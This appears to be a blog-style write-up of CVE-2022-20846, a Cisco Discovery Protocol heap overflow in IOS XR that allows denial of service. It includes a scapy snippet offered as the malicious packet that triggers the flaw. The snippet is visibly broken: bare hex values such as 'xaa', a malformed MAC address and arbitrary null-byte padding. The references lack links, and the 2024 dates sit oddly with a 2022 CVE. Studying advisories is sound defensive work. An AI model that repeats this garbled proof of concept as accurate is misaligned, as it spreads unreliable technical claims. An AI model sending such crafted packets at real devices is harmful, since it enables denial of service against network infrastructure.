A critical vulnerability, identified as CVE-2022-20846, has been discovered in the implementation of the Cisco Discovery Protocol for Cisco IOS XR Software. This vulnerability could potentially allow an unauthenticated, adjacent attacker to cause the Cisco Discovery Protocol process to reload on an affected device, resulting in a denial of service (DoS) condition.

Vulnerability Details

The vulnerability exists due to a heap buffer overflow in specific Cisco Discovery Protocol messages. An attacker can exploit this vulnerability by sending a malicious Cisco Discovery Protocol packet to an affected device. Successful exploitation could lead to a heap overflow, causing the Cisco Discovery Protocol process to reload on the device.

It is important to note that the Cisco Discovery Protocol is a Layer 2 protocol, and in order to exploit this vulnerability, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent). The bytes that can be written in the buffer overflow are restricted, which limits remote code execution.

The following is a sample code snippet that demonstrates the malicious packet's structure

import scapy.all as scapy

# Construct the malicious Cisco Discovery Protocol packet
packet = scapy.Ether(src="00:11:22:33:44:55", dst="01:00:C:CC:CC:CC") / scapy.LLC(dsap=xaa, ssap=xaa, ctrl=x03) / scapy.SNAP(OUI=x00000c, code=x200) / scapy.CDPv2_HDR(version=2)

# Add the malicious TLV (Type-Length-Value) elements
packet /= scapy.CDPv2_TLV(tlv_type='Device-ID')
packet /= scapy.Raw(b"\x00" * 100) # Add 100 null bytes to the TLV

# Send the packet on an interface
scapy.sendp(packet, iface="eth")

Please note that this is just an example and the actual code may vary depending on the attacker's approach.

Original References

- Cisco Security Advisory: Details regarding the vulnerability and the security advisory from Cisco
- Cisco IOS XR Software Security Advisory Bundled Publication: A complete list of the advisories and links to them, released as part of the September 2022 bundled publication

Exploit Details

As mentioned earlier, the exploit setup requires the attacker to be in the same broadcast domain as the affected device (Layer 2 adjacent) and to craft a malicious Cisco Discovery Protocol packet.

The crafted packet should include specific malicious TLV (Type-Length-Value) elements that can trigger the heap buffer overflow in the Cisco Discovery Protocol messages. This causes the Cisco Discovery Protocol process to reload on the device, leading to a denial of service.

Mitigation

Cisco has released software updates that address this vulnerability. It is highly recommended to apply the necessary updates to protect your devices from potential exploitation. There are no workarounds that specifically address this vulnerability. For more information on the updates, please consult the Cisco Security Advisory.

Timeline

Published on: 11/15/2024 16:15:23 UTC
Last modified on: 11/18/2024 17:11:56 UTC